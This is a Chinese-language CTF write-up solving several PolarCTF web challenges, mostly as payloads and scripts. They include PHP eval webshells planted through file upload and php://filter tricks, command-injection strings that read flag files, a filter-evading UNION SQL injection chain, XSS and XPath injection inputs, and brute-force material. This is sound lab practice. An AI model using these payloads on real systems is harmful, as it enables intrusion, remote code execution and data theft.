不仅为了刷题,更为了贴纸!(咋要200polar币才能兑换哇)

swp(php特性)

扫目录就能找到/.index.php.swp,访问得到源码

function jiuzhe($xdmtql)
{
return preg_match('/sys.*nb/is', $xdmtql);
}

$xdmtql = @$_POST['xdmtql'];

if (!is_array($xdmtql)) {
if (!jiuzhe($xdmtql)) {
if (strpos($xdmtql, 'sys nb') !== false) {
echo 'flag{*******}';
} else {
echo 'true .swp file?';
}
} else {
echo 'nijilenijile';
}
}

所以,要得到flag的条件是:

1. $xdmtql不是数组。

2. jiuzhe函数返回false,即preg_match不匹配。

3. strpos检查$xdmtql中存在'sys nb'字符串。

这里一个知识点就是preg_match函数处理的字符长度有限,如果超过这个长度就会返回false也就是没有匹配到。利用下面的代码进行回溯,让preg_match函数报错,绕过该函数

import requests
data = {"xdmtql": "sys nb" + "aaaaa" * 1000000}
res = requests.post('http://3b6cf073-93a4-4f15-b132-68507e551d1a.www.polarctf.com:8090/', data=data, allow_redirects=False)
print(res.content)

image-20250324104226118

PHP是世界上最好的语言(php特性)

<?php
//flag in $flag
highlight_file(__FILE__);
include("flag.php");
$c=$_POST['sys'];
$key1 = 0;
$key2 = 0;
if(isset($_GET['flag1']) || isset($_GET['flag2']) || isset($_POST['flag1']) || isset($_POST['flag2'])) {
die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']); //获取url中变量并将其解析
extract($_POST); //从数组中把变量导入到当前的符号表中
if($flag1 == '8gen1' && $flag2 == '8gen1') {
if(isset($_POST['504_SYS.COM'])){
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\?/", $c)){
eval("$c");

}
}
}
?>

先用fuzz测试下哪些字符未被过滤

<?php
for($i=32;$i<=126;$i++)
{
if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\?/",chr($i)))
{
echo chr($i);
}
}
?>
//$&()0123456789:;<>ABCDEFGHIJKLMNOPQRSTUVWXYZ[]_abcdefghijklmnopqrstuvwxyz|

因此使用变量覆盖

GET:_POST[flag1]=8gen1&_POST[flag2]=8gen1
POST:504[SYS.COM=111&sys=echo $flag;
注:在php中变量名只有数字字母下划线,被get或者post传入的变量名,如果含有空格、+、[则会被转化为_,但php中有个特性就是如果传入[,它被转化为_之后,后面的字符就会被保留下来不会被替换。

非常好绕的命令执行(命令执行)

<?php 
highlight_file(__FILE__);
$args1 = $_GET['args1'];
$args2 = $_GET['args2'];
$args3 = $_GET['args3'];
$evil = $args1.'('.$args2.')('.$args3.')'.';'; //$evil参数由args1(args2)(args3);
$blacklist = '/system|ass|exe|nc|eval|copy|write|\.|\>|\_|\^|\~|%|\$|\[|\]|\{|\}|\&|\-/i';
if (!preg_match($blacklist,$evil) and !ctype_space($evil) and ctype_graph($evil)) //不能匹配黑名单,不能全部为空白字符(空格,制表符,换行符),全部为非空白的可打印字符,注意第二个是不全为,第三个是非空白
{
echo "<br>".$evil."<br>";
eval($evil);
}

?>
args1=echo&args2=`ls`);%23&args3=1   //flagggg index.php
args1=echo&args2=`tac<flagggg`);%23&args3=1
注:php中``作用是将反引号内命令先执行一次,因此再输出就能执行该命令。并且这里的#需要url编码

题解中还有种方法是通过hex2bin绕过,即十六进制绕过

网站被黑(文件包含)

一眼看去没漏洞点,扫目录试试

image-20250324113807060

看了下没啥东西,抓包看看

image-20250324113845574

发现hint:F5XDAXZQNZSV6ZRRNZSF63JTF4======,base解码挨着试一遍发现是base32,解码得/n0_0ne_f1nd_m3/,源码如下

<?php
error_reporting(0);

$text = $_GET["text"];
$file = $_GET["file"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the 504sys")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag|data|base|write|input/i",$file)){
echo "I am sorry but no way!";
exit();
}else{
include($file); //imposible.php
}
}
else{
highlight_file(__FILE__);
}
?>
GET:text=php://input&file=php://filter/read=string.rot13/resource=imposible.php
POST:welcome to the 504sys

注意是在/n0_0ne_f1nd_m3/下传参,并且传参中不能有空格,所以必须用php:input来实现

image-20250324115628593

简单rce(命令执行)

<?php

highlight_file(__FILE__);
function no($txt){
if(!preg_match("/cat|more|less|head|tac|tail|nl|od|vim|uniq|system|proc_open|shell_exec|popen| /i", $txt)){
return $txt;}
else{
die("what's up");}}
$yyds=($_POST['yyds']);
if(isset($_GET['sys'])&&$yyds=='666'){
eval(no($_GET['sys']));
}
else
{echo "nonono";
}
?>
GET:sys=passthru("ls%09/");
POST:yyds=666
GET:sys=passthru("ta\c%09/flag");
或sys=passthru("ta\c</flag");
POST:yyds=666

到底给不给flag呢(foreach配合$$变量覆盖)

<?php
highlight_file('1.txt');
echo "<br><br>";

$flag = 'flag{f73da0c8e7c774d488a6df0fec2890d9}';
$qwq= '我想要flag';
$QAQ = '我又不想要flag了,滚吧';
if(!isset($_GET['flag']) && !isset($_POST['flag'])){ //由于是&&连接,导致不用POST传参,只用GET传参即可
exit($qwq); //等价于die()函数
}

if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
exit($QAQ);
}

foreach ($_POST as $key => $value) { //用于遍历数组或对象的函数
$$key = $value;
}

foreach ($_GET as $key => $value) {
$$key = $$value;
}

echo $flag;

这里主要注意的是foreach函数用法,由于遍历数组中元素,先c=flag然后让flag=c。这样被解析之后,就是$c=$flag&$flag=$c,就能输出flag,传参后拉到最下面获得flag

foreach()配合$$是个典型的变量覆盖漏洞,使用foreach()来遍历数组中的值,然后再将获取到的数组键名作为变量,数组中的键值作为变量的值。例如传入abc=def,就会变成$abc=$def

因此解题关键为定义一个变量来保存原来$flag的内容

再让$flag=存储内容的变量名

abc=flag&flag=abc会被解释为$abc=$flag&$flag=$abc

蜜雪冰城吉警店(前端修改)

提示要点第九杯奶茶,通过修改前端页面中id=9,再点击按钮就能获得flag

image-20250327085815643

image-20250327085833522

注入(XPATH注入)

尝试sql注入和ssti注入

id=1  //0: Alan
id=2 //0: Bob
id=2-1 //无回显,即为字符型

但是这里试了很久都没结果,看了wp才知道是XPATH注入,尝试XPATH注入万能密码?id=']|//\*|//\*[',注入传参时要传入未被url编码的

image-20250327091243635

iphone(更改UA)

进去让点按钮,但是提示必须从iPhone或ipad访问,抓包伪造UA,直接获得flag

Mozilla/5.0 (iPad; CPU OS 16_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.4 Mobile/15E148 Safari/604.1

image-20250327095823846

浮生日记(XSS)

提示弹个窗试试,先试试xss常用语句

<script>alert(1)</script>

image-20250327102352079

script被过滤,尝试双写绕过

<sscriptcript>alert(1)</sscriptcript>

image-20250327102404952

没有成功,尝试先闭合

"><sscriptcript>alert(1)</sscriptcript>

image-20250327102416269

点击确定获得flag

你的马呢?(文件上传)

随便上传一个图片文件,发现是可以上传的,并且是后缀加路径

image-20250329223946684

法一:apache双后缀绕检查

注意,这里经过尝试,对文件内的php进行检测,因此文件内容如下,并且后缀为php.jpg

GIF89a
<?=eval($_POST[123]);?>

image-20250329224749254

然后直接访问蚁剑连接就好

image-20250329224919536

法二:伪协议包含

上传a.jpg如下

<?php eval($_POST[123]);?>
base64编码得到
PD9waHAgZXZhbCgkX1BPU1RbMTIzXSk7Pz4=

image-20250329225335057

在初页面利用文件包含,注意要decode才能解析

file=php://filter/read=convert.base64-decode/resource=a.jpg

image-20250329225638376

csdn(file伪协议)

直接查看源码,提示在flag目录下flag.txt中,因此直接伪协议文件包含就行

xxs=file://flag/flag.txt

找找shell(混淆webshell)

在shell.txt中是一个经过混淆的shell代码,因此利用反向解密脚本可得最后的连接密码,蚁剑连接即可

import base64
import urllib.parse

# 第一个PHP脚本的逻辑转换为Python

# Step 1: 解码 URL 编码字符串
O00OO0 = urllib.parse.unquote("%6E1%7A%62%2F%6D%615%5C%76%740%6928%2D%70%78%75%71%79%2A6%6C%72%6B%64%679%5F%65%68%63%73%77%6F4%2B%6637%6A")
print("解码后的字符串:", O00OO0)

# Step 2: 提取字符并构建变量
O00O0O = O00OO0[3] + O00OO0[6] + O00OO0[33] + O00OO0[30]
O0OO00 = O00OO0[33] + O00OO0[10] + O00OO0[24] + O00OO0[10] + O00OO0[24]
OO0O00 = O0OO00[0] + O00OO0[18] + O00OO0[3] + O0OO00[0] + O0OO00[1] + O00OO0[24]
OO0000 = O00OO0[7] + O00OO0[13]

# 追加字符到 O00O0O
O00O0O += O00OO0[22] + O00OO0[36] + O00OO0[29] + O00OO0[26] + O00OO0[30] + O00OO0[32] + O00OO0[35] + O00OO0[26] + O00OO0[30]

print("变量 $O00O0O:", O00O0O)
print("变量 $O0OO00:", O0OO00)
print("变量 $OO0O00:", OO0O00)
print("变量 $OO0000:", OO0000)

# Step 3: 解码 Base64 字符串
base64_string_php = "JE8wTzAwMD0iYk5qRmdRQlpJRXpzbWhHTUNvQUpwV3lSY2xZWHhUZGt1cVNQdmV0S25MSGZyVXdpRE9hVmpnYk9wclpzUVh0ZVRxV0hmbndTb1l1eHlQRWFLTkRrZEFoTWxHaXp2QlJMVmNGSUNVbUpNQzlGbVJ3cHJXSjJFWUZuU085ck4xZ2NZdUQxeTJPaVMxMG9VdXcvTXA9PSI7ZXZhbCgnPz4nLiRPMDBPME8oJE8wT08wMCgkT08wTzAwKCRPME8wMDAsJE9PMDAwMCoyKSwkT08wTzAwKCRPME8wMDAsJE9PMDAwMCwkT08wMDAwKSwkT08wTzAwKCRPME8wMDAsMCwkT08wMDAwKSkpKTs="
decoded_string_php = base64.b64decode(base64_string_php).decode('utf-8')
print("解码后的 Base64 字符串:", decoded_string_php)

# Step 4: 替换动态变量
replaced_string_php = decoded_string_php.replace('$O00O0O', O00O0O).replace('$O0OO00', O0OO00).replace('$OO0O00', OO0O00).replace('$OO0000', OO0000)
print("替换变量后的字符串:", replaced_string_php)

# 第二个Python脚本的逻辑

# 原始 Base64 字符串
base64_str = "bNjFgQBZIEzsmhGMCoAJpWyRclYXxTdkuqSPvetKnLHfrUwiDOaVjgbOprZsQXteTqWHfnwSoYuxyPEaKNDkdAhMlGizvBRLVcFICUmJMC9FmRwprWJ2EYFnSO9rN1gcYuD1y2OiS10oUuw/Mp=="

# 分割字符串
part1 = base64_str[:52] # 前 52 个字符
part2 = base64_str[52:104] # 中间 52 个字符
part3 = base64_str[104:] # 从索引 104 开始的字符

# 创建字符替换映射表
replace_map = str.maketrans(part2, part1)

# 替换字符
replaced_str = part3.translate(replace_map)

# Base64 解码
decoded_str = base64.b64decode(replaced_str).decode('utf-8')

# 输出结果
print("\n解码后的 PHP 代码:")
print(decoded_str)

image-20250329231535815

所以直接访问shell.php,然后蚁剑连接就行

代码审计1(php原生类的寻找和利用)

<?php

highlight_file(__FILE__);
include('flag.php');
$sys = $_GET['sys'];
if (preg_match("|flag|", $xsx)) {
die("flag is no here!");
} else {
$xsx = $_GET['xsx']; //此时才赋值,所以if语句未起到作用
echo new $sys($xsx); //原生类使用
}
sys=SplFileObject&xsx=php://filter/read=convert.base64-encode/resource=flag.php

随机值(pop反序列化)

<?php
include "flag.php";
class Index{
private $Polar1;
private $Polar2;
protected $Night;
protected $Light;

function getflag($flag){
$Polar2 = rand(0,100);
if($this->Polar1 === $this->Polar2){
$Light = rand(0,100);
if($this->Night === $this->Light){
echo $flag;
}
}
else{
echo "Your wrong!!!";
}
}
}
if(isset($_GET['sys'])){
$a = unserialize($_GET['sys']);
$a->getflag($flag);
}
else{
highlight_file("index.php");
}
?>

我们需要反序列化一个Index类并且让里面的$Polar1$Night赋值为一个随机数。按照概率来讲,只要用bp发包10000次就可以获得flag了。但是我们直接把$Polar2$Light一起改了就可以了

sys=O:5:"Index":4:{s:13:"%00Index%00Polar1";i:5;s:13:"%00Index%00Polar2";i:5;s:8:"%00*%00Night";i:5;s:8:"%00*%00Light";i:5;}

phpurl(php特性)

先看给的文件

在某次渗透测试中,红队使用网站目录探测工具发现网站源码泄漏,该文件名疑似名被加密:aW5kZXgucGhwcw。   //base64解密后得到index.phps

访问index.phps得到源码

<?php
if("xxs"===$_GET[sys]) {
echo("<p>Not a good idea!</p>");
exit();
}

$_GET[sys] = urldecode($_GET[sys]);
if($_GET[sys] == "xxs")
{
echo "<p>Welcome to polar LABS!</p>";
echo "<p>Flag: XXXXXXX </p>";
}
?>

通过二次url编码来绕过条件获得flag

sys=%25%37%38%25%37%38%25%37%33

image-20250329233210329

search(sql注入)

进去就看到输入框,随便输一个1‘就报错,尝试sql注入

query=1'  //为单引号注入
query=1'# //正常回显
query=1' order by 3# //失败回显,尝试绕过空格
query=1'/**/order/**/by/**/3# //正常回显
query=1'/**/order/**/by/**/6# //列数不匹配回显,列数为5
query=1'/**/union/**/select/**/1,2,3,4,5# //失败回显,猜测过滤
query=select //不报错
query=union //失败回显
query=-1'/**/Union/**/select/**/1,2,3,4,5# //回显2,3
query=-1'/**/Union/**/select/**/1,(database()),(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()),4,5# //失败回显,猜测过滤
query=-1'/**/Union/**/select/**/1,(database()),(3),4,5# //回显CTF,猜测过滤
query=information //不报错
query=group //不报错
query=where //失败回显
query=Where //不报错
query=-1'/**/Union/**/select/**/1,(database()),(select/**/group_concat(table_name)/**/from/**/information_schema.tables/**/Where/**/table_schema=database()),4,5# //报错,测出来from也被过滤了
query=-1'/**/Union/**/select/**/1,(database()),(select/**/group_concat(table_name)/**/From/**/information_schema.tables/**/Where/**/table_schema=database()),4,5# //回显Flag,Students
query=-1'/**/Union/**/select/**/1,(select/**/group_concat(column_name)/**/From/**/information_schema.columns/**/Where/**/table_name='Flag'),(select/**/group_concat(table_name)/**/From/**/information_schema.tables/**/Where/**/table_schema=database()),4,5#query=-1'/**/Union/**/select/**/1,(select/**/group_concat(column_name)/**/From/**/information_schema.columns/**/Where/**/table_name='Flag'),(select/**/group_concat(table_name)/**/From/**/information_schema.tables/**/Where/**/table_schema=database()),4,5# //这里如果查找flag会失败,所以还过滤了flag,只不过由于列名就是Flag,所以直接查找就行,回显Flag
query=-1'/**/Union/**/select/**/1,(select/**/group_concat(column_name)/**/From/**/information_schema.columns/**/Where/**/table_name='Flag'),(select/**/group_concat(Flag)/**/From/**/Flag),4,5# //回显flag{Polar_CTF_426891370wxbglbnfwaq}

Dragon(信息搜集)

打开之后还是一个输入框,但是尝试sql注入没用,传参后源码可以看到最后有个欢迎 (id传参内容)

。。。。看了下响应,flag就在cookie中(眼瞎之前没看到)

image-20250330000239220

wu(极限rce取反)

<?php
highlight_file(__FILE__);
$a = $_GET['a'];
if(preg_match("/[A-Za-z0-9]+/",$a)){
die("no!");
}
@eval($a);
?>

发现全部数字字母都被过滤了,用取反脚本就行

<?php
$a = "system";
//$b = "ls";
$b = "cat zheshiflag.php";
$c=urlencode(~$a);
$d=urlencode(~$b);
echo "(~$c)((~$d));";
a=(~%8C%86%8C%8B%9A%92)((~%9C%9E%8B%DF%85%97%9A%8C%97%96%99%93%9E%98%D1%8F%97%8F));

写shell(绕过exit()函数)

<?php
highlight_file(__FILE__);
file_put_contents($_GET['filename'],"<?php exit();".$_POST['content']);

?>

参考web87,因此直接用base64编码或者root编码都行,但是注意base64编码要补一个字节

GET:filename=php://filter/write=convert.base64-decode/resource=shell.php
POST:content=aPD9waHAgZXZhbCgiJF9QT1NUWzEyM10iKTs/Pg==(第一个a为补的字节)
或者
GET:filename=php://filter/write=string.rot13/resource=1.php
POST:content=<?cuc riny("$_CBFG[123]");?> //源代码中

image-20250401221055715

seek flag(robots.txt)

先看源码,发现提示爬虫爬到flag怎么办,果断查看robots.txt,获得flag3:c0ad71dadd11}

看到cookie中有id=0,改为id=1获得flag1:flag{7ac5b

image-20250401222839087

最后在流量中找到flag2:3ca8737a70f029d

结合起来:flag{7ac5b3ca8737a70f029dc0ad71dadd11}

XFF(更改X-Forwarded-For)

进去看到限制ip为1.1.1.1,直接请求头内修改X-Forwarded-For

X-Forwarded-For:1.1.1.1

获得flag

rce1(命令执行)

<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
$ip = $_GET['ip'];
$m = [];
if (!preg_match_all("/ /", $ip, $m)) {
$cmd = "ping -c 4 {$ip}";
exec($cmd, $res);
} else {
$res = $m;
}
}
?>

隔开之后执行命令就行

ip=;ls;
ip=;cat${IFS}fllllaaag.php; //源码中找到

GET-POST(传参)

<?php 
highlight_file(__FILE__);
include('flag.php');//文件包含,flag在flag.php文件中,不用想了你访问也没用
$id = $_GET['id'];
echo "你必须让我感受到你的真诚,用GET请求传递一下id吧,令id=1";
if($id == '1'){
echo "干的漂亮";
echo "<br/>";
echo "虽然我感受到了你的真诚,但还是不行,用POST请求传递一下jljcxy吧,令jljcxy=flag";
$jljcxy = $_POST['jljcxy'];
if($jljcxy == 'flag'){
echo $flag;
}
}
GET:id=1
POST:jljcxy=flag

被黑掉的站(弱口令)

扫目录找到/index.php.bak/shell.php,看到/shell.php中有密码框,/index.php.bak有酷似密码的东西,直接抓包爆破就行

123456
123456789
123123
111111
anhyeuem
1234567
123456789
123456
12345678
000000
asdasd
25251325
1234567890
121212
123321
zxcvbnm
qweqwe
456789
112233
aaaaaa
123123123
987654321
11111111
qwerty
147258369
maiyeuem
123qwe
654321
iloveyou
123654
999999
qqqqqq
1111111
147258
hota407
anhtuan
222222
159753
11223344
anhnhoem
anh123
159357
qwertyuiop
asd123
987654321
emyeuanh
mmmmmm
12345
666666
anhanh
123789
phuong
111222
qweasd
hanoiyeudau
nguyen
789456
1111111111
mylove
789456123
19001560
qwe123
asdfghjkl
pppppp
anhhung
1234560
abc123
maiyeu
123456a
zzzzzz
quangninh
987654
555555
tuananh
asasas
asdfgh
zxcvbn
321321
tinhyeu
147852369
456123
matkhau
147852
12345678910
thienthan
nikel
anhyeu
111111111
toiltoi
10cham0
147258369
456456
khongbiet
789789
a123456
333333
888888
123654789
truong
maimaiyeuem
hhhhhh

image-20250401225821550

当密码为nikel时成功登录获得flag

上传(文件上传)

  • 不允许php文件上传,php2、php5、以及phtml也都被过滤了
  • 文件内容处过滤了<?、file

针对以上的过滤,可以采取.users.ini.htacess文件进行绕过,.user.ini使用成功的前提是服务器开启了CGI或者``FastCGI,并且上传文件的存储路径下有index.php可执行文件,由于该路径下不存在index.php文件,所以这题使用.htacess`文件进行绕过

.htaccess如下

AddType application/x-httpd-php .jpg
php_value auto_append_fi\
le "php://filter/convert.base64-decode/resource=1.jpg"
  • 上述的内容中存在file会被过滤掉,可以采取\反斜杠+换行的方式绕过
  • 为什么需要解码???,是为了绕过被过滤的<?

上传后再上传base64编码后的1.jpg文件,内容如下

PD9waHAgZXZhbCgkX1BPU1RbMTIzXSk7Pz4=

image-20250401231742102

召唤神龙(jsfuck解码)

在源码的main.js中找到明显的JSfuck编码,解码得到flag

JSFuck是基于JavaScript原子部分的深奥和教育性编程风格。它仅仅使用六个不同的字符来编写和执行代码。

分别是:{ } [ ] + !
它不依赖于浏览器,因此可以在Node.js上运行。

image-20250401234047602

(![]+[])[+[]]+(![]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(![]+[+[]]+([]+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]])[!+[]+!+[]+[+[]]]+(![]+[])[+[]]+([][[]]+[])[!+[]+!+[]]+(![]+[])[+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(![]+[])[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+(![]+[])[+[]]+([][[]]+[])[!+[]+!+[]]+([][[]]+[])[!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]]+([][[]]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+([][[]]+[])[!+[]+!+[]]+(![]+[])[+!+[]]+(![]+[])[+!+[]]+(![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[(![]+[])[!+[]+!+[]+!+[]]+(![]+[])[!+[]+!+[]]+([![]]+[][[]])[+!+[]+[+[]]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(![]+[])[!+[]+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]]((+((+(+!+[]+[+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+[!+[]+!+[]]+[+[]])+[])[+!+[]]+[+[]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+[]]+[+!+[]]])+[])[!+[]+!+[]]+[+!+[]])

image-20250401234235610

login(爆破)

源码找到20200101/20200101成功登录,然后没思路了,看wp发现从01往上每个回显一个字符,爆破获得flag

flag{dlcg}

任务cmd(命令执行)

进去看到源码注释有东西(其实并没用),扫目录找到/new/file/upload.php根据题目要求用cmd执行命令即可

image-20250402113603997

坦诚相见(过滤/)

ls然后cat no*获得源码

<?php
function containsPathTraversal($input) {
$patterns = [
'/\.\.\//',
'/\/\//',
'/\%2e\%2e\//',
'/\%2E\%2E\\/',
'/flag/',
'/\//',
'/>/'
];

foreach ($patterns as $pattern) {
if (preg_match($pattern, $input)) {
return true;
}
}
return false;
}
if (isset($_POST['rce']) && containsPathTraversal($_POST['rce'])) {
die('不不不,我也有底线的,至少在这个文件夹内,你随意');
}
?>

禁用如下

../
//
flag
/
>

利用环境变量绕过/

rce=ls ${PWD::${#SHLVL}}
rce=cat ${PWD::${#SHLVL}}fl*

SHLVL
是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开shell时${SHLVL}=1,然后在此shell中再打开一个shell时$SHLVL=2。只需要${PWD::${SHLVL}},结果就是/

但是这里读不出flag,猜测要提权,那就只能写马了。通过转义符\绕过$的过滤

echo "<?=eval(\$_POST["123"]);" | tee 1.php

image-20250402130048705

连接后sudo读取flag

image-20250402130157365

毒鸡汤(文件包含)

扫目录找到一堆东西,先访问www.zip

image-20250402130450598

在下载源码中看到hint.txt提示flag在根目录

index.php中找到文件包含漏洞

<?php 
$filename = $_GET['readfile'];
if ($filename){
include($filename);
}
?>

直接data伪协议试试

GET:readfile=php://filter/read=convert.base64-encode/resource=/flag
或者
GET:readfile=../../../../../../../../flag

爆破(脚本)

<?php
error_reporting(0);

if(isset($_GET['pass'])){
$pass = md5($_GET['pass']);
if(substr($pass, 1,1)===substr($pass, 14,1) && substr($pass, 14,1) ===substr($pass, 17,1)){
if((intval(substr($pass, 1,1))+intval(substr($pass, 14,1))+substr($pass, 17,1))/substr($pass, 1,1)===intval(substr($pass, 31,1))){
include('flag.php');
echo $flag;
}
}
}else{
highlight_file(__FILE__);

}
?>

直接python写代码爆破

import hashlib
import itertools

def crack_password():
# 候选字符集(小写字母+数字)
chars = 'abcdefghijklmnopqrstuvwxyz0123456789'

# 优先尝试短密码(4-6位)
for length in range(4, 7):
# 生成所有可能组合
for candidate in itertools.product(chars, repeat=length):
password = ''.join(candidate)
# 计算MD5哈希
md5_hash = hashlib.md5(password.encode()).hexdigest()

'''
条件检查顺序优化:
1. 先检查第32位是否='3'(快速过滤90%以上无效值)
2. 再检查第2/15/18位是否相同且为数字
3. 最后验证算术条件
'''
if (
md5_hash[31] == '3' # 第32位必须为'3'
and md5_hash[1] == md5_hash[14] == md5_hash[17] # 三位置字符相同
and md5_hash[1].isdigit() # 必须为数字字符
and md5_hash[1] != '0' # 避免除以零
):
# 验证算术条件 (3*c)/c == 3
c = int(md5_hash[1])
if (3 * c) // c == 3: # 整数除法
print(f'爆破成功!密码为: {password}')
print(f'对应MD5哈希: {md5_hash}')
return

if __name__ == '__main__':
crack_password()

最终pass=ae2c

image-20250402211340181

$$(超全局变量GLOBALS)

<?php

highlight_file(__file__);
error_reporting(0);
include "flag.php";

$a=$_GET['c'];
if(isset($_GET['c'])){
if(preg_match('/flag|\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $a)){
die("oh on!!!");}

else{
eval("var_dump($$a);");}}

可能存在一个超全局变量GLOBALS

$GLOBALS:引用全局作用域中可用的全部变量(一个包含了全部变量的全局组合数组。变量的名字就是数组的键),与所有其他超全局变量不同,$GLOBALS在PHP代码中任何地方总是可用的

说到GOLBALS就不能不说到global,那两者有何不同呢?请往下看

global在PHP中的解析是:global的作用是定义全局变量,但是这个全局变量不是应用于整个网站,而是应用于当前页面,包括include或require的所有文件。
注:在函数体内定义的global变量,函数体外可以使用,在函数体外定义的global变量不能在函数体内使用
$GLOBALS:用于访问所有全局变量(来自全局范围的变量),即可以从PHP脚本中的任何范围访问的变量。

所以直接传参c=GLOBALS获得flag

debudao(信息搜集)

源码中看到$flag,但是是错的,在cookie中看到url编码后的flag

veryphp(php特性-正则匹配,函数回调)

<?php
error_reporting(0);
highlight_file(__FILE__);
include("config.php");
class qwq
{
function __wakeup(){
die("Access Denied!");
}
static function oao(){
show_source("config.php");
}
}
$str = file_get_contents("php://input");
if(preg_match('/\`|\_|\.|%|\*|\~|\^|\'|\"|\;|\(|\)|\]|g|e|l|i|\//is',$str)){
die("I am sorry but you have to leave.");
}else{
extract($_POST);
}
if(isset($shaw_root)){
if(preg_match('/^\-[a-e][^a-zA-Z0-8]<b>(.*)>{4}\D*?(abc.*?)p(hp)*\@R(s|r).$/', $shaw_root)&& strlen($shaw_root)===29){
echo $hint;
}else{
echo "Almost there."."<br>";
}
}else{
echo "<br>"."Input correct parameters"."<br>";
die();
}
if($ans===$SecretNumber){
echo "<br>"."Congratulations!"."<br>";
call_user_func($my_ans);
}
  • 第一个preg_match过滤的是str,因为不可控所以不考虑

  • 第二个preg_match是匹配正则

  • $shaw_root参数要满足以上两个preg_match,并且长度要为29才能输出hint

  • ans 参数值要等于hint里面的ans参数值要等于hint里面的ans参数值要等于hint里面的SecretNumber值

  • call_user_func()回调函数,也就是$my_ans要调用类的方法

根据上述分析,首先是绕过第一个preg_match,也就是shaw_rootmy_ans不能存在下划线,这里可以利用一个特性,在传入一些非法字符的时候php会把它解析为下划线_,例如空格、+以及[

第二步是shaw_root匹配正则

^\-[a-e][^a-zA-Z0-8]<b>(.*)>{4}\D*?(abc.*?)p(hp)*\@R(s|r).$
^表示的是正则表达式开始的位置
-表示-
[a-e]表示选其中的一个字母
[^a-zA-Z0-8]表示匹配不属于这里面的数
<b>表示<b>
(.*)表示除换行符 \n 之外的任何单字符,然后有0次或多次
> {4}表示限定出现4次>
\D*表示匹配非数字
?表示匹配前面的子表达式零次或一次类似于{0,1}
(abc.*?)表示匹配abc
p(hp)*表示匹配了php
@R表示传入@R
(s|r)表示传入s或r
.表示除换行符 \n 之外的任何单字符
$表示正则表达式的结束符号

匹配正则可以使用这个在线网站regex

最终结果

shaw[root=-a9<b>11111111>>>>aabcphp@Rs1

image-20250403091830403

注意这里在传参时不能使用hackbar,hackbar在传参时会先url编码一次,所以应该直接抓包传参

传参后获得hint如下

